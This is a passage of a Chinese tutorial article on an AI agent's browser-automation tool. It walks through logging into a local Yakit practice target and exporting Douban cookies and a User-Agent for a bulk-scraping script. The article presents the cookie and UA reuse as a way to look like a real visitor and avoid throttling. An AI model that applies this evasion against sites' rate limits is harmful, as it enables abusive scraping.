style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf="">use_browser <span textstyle="" style="letter-spacing: 1px;">能力速览   </span></span></strong></span></p></div></div></div></div></div><p style="margin: 8px;text-indent: 0px;line-height: 1.6em;"><span leaf="" style="text-indent: 0px;line-height: 1.6em;font-size: 15px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">单一工具，参数 </span><strong><code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">op</span></span></code></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 选操作；</span></span><code style="text-indent: 0px;line-height: 1.6em;font-size: 15px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="text-indent: 0px;line-height: 1.6em;font-size: 15px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">target</span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 支持</span></span><strong style="text-indent: 0px;line-height: 1.6em;font-size: 15px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><code><span leaf="" style="text-indent: 0px;line-height: 1.6em;font-size: 15px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="color: rgb(253, 128, 9);">@eN</span></span></code></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 与</span></span><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">CSS 选择器</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">。</span></span></p><table style="border-collapse:collapse;min-width:230px;"><tbody><tr><td data-colwidth="205" style="color:rgb(0, 0, 0);font-weight:bold;text-align:center;word-wrap:break-word;word-break:break-word;white-space:pre-wrap;"><p><span leaf="" mpa-font-style="mqubtmb61qe5" style="font-size: 15px;" data-mpa-action-id="mqubtmbg1dlz" data-pm-slice="0 0 []">类别</span></p></td><td><p style="text-align: center;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="font-weight: bold;">op</span></span></p></td></tr><tr><td data-colwidth="205"><p style="margin-bottom: 0px;line-height: 1em;"><span leaf="" mpa-font-style="mqubtvvp1pk3" style="font-size: 15px;" data-mpa-action-id="mqubtvvyv2" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;">导航</span></span></p></td><td><p style="margin-bottom: 0px;line-height: 1em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">open back forward reload close</span></span></p></td></tr><tr><td data-colwidth="205"><p style="margin-bottom: 0px;line-height: 1em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">感知</span></span></p></td><td><p style="margin-bottom: 0px;line-height: 1em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">snapshot screenshot get（含 cookies）</span></span></p></td></tr><tr><td data-colwidth="205"><p style="margin-bottom: 0px;line-height: 1em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">交互</span></span></p></td><td><p style="margin-bottom: 0px;line-height: 1em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">click fill type hover drag select check uncheck setfiles scrollintoview press</span></span></p></td></tr><tr><td data-colwidth="205"><p style="margin-bottom: 0px;line-height: 1em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">脚本</span></span></p></td><td><p style="margin-bottom: 0px;line-height: 1em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">eval wait</span></span></p></td></tr><tr><td data-colwidth="205"><p style="margin-bottom: 0px;line-height: 1em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">标签</span></span></p></td><td><p style="margin-bottom: 0px;line-height: 1em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">tab_list tab_new tab_switch tab_close</span></span></p></td></tr></tbody></table><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;" data-mpa-action-id="mqucebc21r9s" data-pm-slice="0 0 []"><span style="letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mqucdrot3ii"><span leaf="" mpa-font-style="mqucebbr10ed" style="font-size: 15px;">常用参数：</span></span><span mpa-font-style="mqucebbsjre" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;" data-mpa-action-id="mqucdu6w108h" data-pm-slice="0 0 []"><code style="letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">url</span></span></code><span style="letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><code><span leaf="" style="letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">target</span></span></code><code><span leaf="" style="letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">value</span></span></code></span><code style="letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">js</span></span></code><span leaf="" style=""><span textstyle="" style="letter-spacing: 1px;">；可选 </span></span><code style="letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">headless</span></span></code><span leaf="" style=""><span textstyle="" style="letter-spacing: 1px;">、</span></span><code style="letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">timeout</span></span></code><span leaf="" style=""><span textstyle="" style="letter-spacing: 1px;">。iframe 内元素需 </span></span><code style="letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">eval</span></span></code></span><span style="font-size: 15px;"><span style="letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mqucdrot1nkj"><span leaf="" mpa-font-style="mqucebbsjia" style="font-size: 15px;">。</span></span></span></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;"><div style="margin-bottom: 2px;outline: 0px;"><div style="outline: 0px;text-align: justify;font-size: 18px;"><p style="outline: 0px;"><strong><span leaf="" style="font-weight: bold;outline: 0px;">三、实战案例</span></strong></p></div></div></div><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf="">案例 1：传统后台登录（Snapshot 策 略）</span></strong></span></p></div></div></div></div></div><p style="margin: 8px;text-indent: 0px;line-height: 1.6em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">首先打开 Yakit 的 vulinbox 靶场：</span></span></p><p nodeleaf="" style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"></p><p style="margin: 8px;text-indent: 0px;line-height: 1.6em;text-align: left;" data-mpa-action-id="mqubvx70r66" data-pm-slice="0 0 []"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">然后在 Memfit 中输入提示词：</span></span><code><span style="font-size: 15px;"><span style="letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mqubvx6qv6g"><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);text-decoration: underline;">使用浏览器帮我登陆</span></span></span></span></code><code><span style="font-size: 15px;"><span style="letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mqubvx6qrr5"><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);text-decoration: underline;"><a href="http://127.0.0.1:8787/jwt/safe-login，账号密码分别是admin/admin" target="_blank">http://127.0.0.1:8787/jwt/safe-login，账号密码分别是admin/admin</a></span></span></span></span></code></p><p style="margin: 8px;text-indent: 0px;line-height: 1.6em;text-align: left;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">发送提示词，观察浏览器，Memfit AI 会打开浏览器，输入账号密码，执行登陆，获取结果。</span></span></p><p nodeleaf="" style="padding: 0.5em;margin-bottom: 8px;" data-mpa-action-id="mqubwjwlsqn" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.75" data-type="png" data-w="1448" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-width="1448" data-height="1086" data-imgfileid="100046288" src="https://wechat2rss.xlab.app/img-proxy/?k=edd1c8b4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72EBicsro9Mef5iabRmugLh1ic29KpbT4ngXLBWxEFePGicj7ZAlJ8dYRWmlm15ibX89PW3naDViaRPEMx6mDiaibFMtp7FBHuPXIGTO9nc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><table style="border-collapse:collapse;min-width:283px;"><tbody><tr><td data-colwidth="258" style="color:rgb(0, 0, 0);font-weight:bold;text-align:center;word-wrap:break-word;word-break:break-word;white-space:pre-wrap;"><p><span leaf="" mpa-font-style="mquccen6efl" style="font-size: 15px;" data-mpa-action-id="mquccengj88" data-pm-slice="0 0 []">步骤</span></p></td><td style="color:rgb(0, 0, 0);font-weight:bold;text-align:center;word-wrap:break-word;word-break:break-word;white-space:pre-wrap;"><p><span leaf="" mpa-font-style="mqucci8r1j4j" style="font-size: 15px;" data-mpa-action-id="mqucci901w62" data-pm-slice="0 0 []">动作</span></p></td></tr><tr><td data-colwidth="258"><p style="margin-bottom: 0px;line-height: 1em;"><span leaf="" mpa-font-style="mqucclj91fhh" style="font-size: 15px;" data-mpa-action-id="mquccljjf8f" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;">1～4</span></span></p></td><td><p style="margin-bottom: 0px;line-height: 1em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">open → fill 用户名/密码 → click 登录</span></span></p></td></tr><tr><td data-colwidth="258"><p style="margin-bottom: 0px;line-height: 1em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">5～6</span></span></p></td><td><p style="margin-bottom: 0px;line-height: 1em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">get url / title 验证 → close</span></span></p></td></tr></tbody></table><p data-mpa-action-id="mqubxlzs243n" data-pm-slice="0 0 []" style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mqubxlzk10g8"><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);font-weight: bold;">小结</span></span></span><span style="font-size: 15px;"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mqubxlzkybz"><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);font-weight: bold;">：</span>静态页 4～6 轮 tool call 可完成，上面这种事比较简单的登陆策略。</span></span></span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf="">案例 2：AI 登录 → 导出 Cookie → Yak 脚本抓取</span></strong></span></p></div></div></div></div></div><p style="margin-bottom: 8px;"><strong><span leaf="" mpa-font-style="mqucol9g741" style="font-weight: bold;font-size: 16px;" data-mpa-action-id="mqucol9q1dte" data-pm-slice="0 0 []"><span textstyle="" style="color: rgb(253, 128, 9);">用户指令（原文）</span></span></strong></p><blockquote><p><span leaf="">帮我使用浏览器打开 <a href="https://movie.douban.com/" target="_blank">https://movie.douban.com/</a> ，然后获取 Cookie 和 UA，再编写 Python 脚本，批量获取所有正在热映电影。</span></p></blockquote><p style="margin-bottom: 8px;"><strong><span leaf="" style="font-weight: bold;font-size: 16px;"><span textstyle="" style="color: rgb(253, 128, 9);">场景说明</span></span></strong></p><p style="margin: 8px;text-indent: 0px;line-height: 1.6em;text-align: left;" data-mpa-action-id="mqubyjro1law" data-pm-slice="0 0 []"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">豆瓣电影首页展示「正在热映」卡片，但列表较长、后续还可能翻页或跳转子页。若直接用 Python </span></span><code><span style="font-size: 15px;"><span style="letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mqubyjrfid1"><span leaf="">requests</span></span></span></code><span style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">裸请求，常因 </span></span></span><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">缺少浏览器 Cookie、User-Agent 不像真实访问</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 而被限流或返回不完整内容。 本案例不需要账号登录，核心是：</span></span><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">用真实 Chrome 访问一次，借浏览器建立「像人一样的」请求指纹，再把 Cookie + UA 交给脚本做批量 HTTP 抓取。</span></span></strong></p><p style="margin-bottom: 8px;"><strong><span leaf="" style="font-weight: bold;font-size: 16px;"><span textstyle="" style="color: rgb(253, 128, 9);">任务目标</span></span></strong></p><ul style="margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li><p style="margin-top: 8px;margin-bottom: 8px;text-indent: 0px;line-height: 1.6em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">打开 豆瓣电影，确认「正在热映」区块已加载</span></span></p></li><li><p style="margin-top: 8px;margin-bottom: 8px;text-indent: 0px;line-height: 1.6em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">导出当前会话的 </span></span><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">Cookie</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">与 </span></span><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">User-Agent</span></span></strong></p></li><li><p style="margin-top: 8px;margin-bottom: 8px;text-indent: 0px;line-height: 1.6em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">生成并运行 Python 脚本，拉取</span></span><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">全部</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">正在热映条目</span></span></p></li><li><p style="margin-top: 8px;margin-bottom: 8px;text-indent: 0px;line-height: 1.6em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">输出结构化结果（片名、评分、详情链接等）</span></span></p></li></ul><p nodeleaf="" style="padding: 0.5em;margin-bottom: 8px;" data-mpa-action-id="mqubz9st13rs" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.562799043062201" data-type="png" data-w="1672" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-width="1672" data-height="941" data-imgfileid="100046290" src="https://wechat2rss.xlab.app/img-proxy/?k=c860e99b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72G3aPJk1IVTSo1ZEicoRLuibibExIUtckEEGUiaHBOYQceQWBibNQ4cn7XDHj88ZKSEdf4L8RG4JxMOu7gs8NmCOaT3wnLCT0T9dcwg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 8px;"><strong><span leaf="" mpa-font-style="mqucc7en5tx" style="font-weight: bold;font-size: 16px;" data-mpa-action-id="mqucc7ew1cgw" data-pm-slice="0 0 []"><span textstyle="" style="color: rgb(253, 128, 9);">为什么用「浏览器 + 脚本」混合</span></span></strong></p><table style="border-collapse: collapse;min-width: 75px;"><tbody><tr><td style="color:rgb(0, 0, 0);font-weight:bold;text-align:center;word-wrap:break-word;word-break:break-word;white-space:pre-wrap;"><p><span leaf="" mpa-font-style="mquc0669zvl" style="font-size: 15px;" data-mpa-action-id="mquc066i1b6q" data-pm-slice="0 0 []">阶段</span></p></td><td><p style="text-align: center;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="font-weight: bold;">浏览器</span></span></p></td><td style="color:rgb(0, 0, 0);font-weight:bold;text-align:center;word-wrap:break-word;word-break:break-word;white-space:pre-wrap;"><p><span leaf="" mpa-font-style="mquc0j9gmye" style="font-size: 15px;" data-mpa-action-id="mquc0j9q21my" data-pm-slice="0 0 []">Yak 脚本</span></p></td></tr><tr><td><p style="margin-bottom: 0px;line-height: 1em;"><span leaf="" mpa-font-style="mquc0mwl1jvx" style="font-size: 15px;" data-mpa-action-id="mquc0mwv11ye" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;">登录 / Cookie</span></span></p></td><td><p style="margin-bottom: 0px;line-height: 1em;text-align: center;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">✅</span></span></p></td><td><p style="margin-bottom: 0px;line-height: 1em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">❌ 通常需要人工逆向js</span></span></p></td></tr><tr><td><p style="margin-bottom: 0px;line-height: 1em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">批量分页</span></span></p></td><td><p style="margin-bottom: 0px;line-height: 1em;text-align: center;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">❌ 慢且费 token</span></span></p></td><td><p style="margin-bottom: 0px;line-height: 1em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">✅ 并发 HTTP</span></span></p></td></tr></tbody></table><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><strong><span leaf="" mpa-font-style="mqucbtryb8z" style="font-size: 15px;" data-mpa-action-id="mqucbts81kuo" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;font-weight: normal;">实际运行时条目数随豆瓣首页热映排片变化；脚本目标是一次性覆盖当前</span></span></strong><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">全部</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">热映项，而非仅首页可见的几张卡片。</span></span></p><p style="margin-bottom: 8px;"><strong><span leaf="" style="font-weight: bold;font-size: 16px;"><span textstyle="" style="color: rgb(253, 128, 9);">结果</span></span></strong></p><ul style="margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li><p style="margin-top: 8px;margin-bottom: 8px;text-indent: 0px;line-height: 1.6em;text-align: left;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">浏览器阶段：约 </span></span><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">3～5 次</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> tool call（open → cookies → eval UA → 可选 html → close）</span></span></p></li><li><p style="margin-top: 8px;margin-bottom: 8px;text-indent: 0px;line-height: 1.6em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">脚本阶段：秒级完成列表拉取与解析（视网络与条目数而定）</span></span></p></li><li><p style="margin-top: 8px;margin-bottom: 8px;text-indent: 0px;line-height: 1.6em;text-align: left;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">交付物：douban_movie_scraper.py、douban_nowplaying.json、douban_nowplaying.csv</span></span></p></li></ul><p nodeleaf="" style="padding: 0.5em;margin-bottom: 8px;" data-mpa-action-id="mquc24rvxkv" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.75" data-type="png" data-w="1448" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-width="1448" data-height="1086" data-imgfileid="100046293" src="https://wechat2rss.xlab.app/img-proxy/?k=d484af2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72FOH6wtbqtJ2PmBQNb8hTxUG5uFMOe1VVAVkoNTwGu7fNmZwSSZxKuibWCvWpQlgHdmpsgctbib7MU4abhnA4OIVtlqIPNiahuiaHk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 8px;"><strong><span leaf="" style="font-weight: bold;font-size: 16px;"><span textstyle="" style="color: rgb(253, 128, 9);">经验小结</span></span></strong></p><ul style="margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li 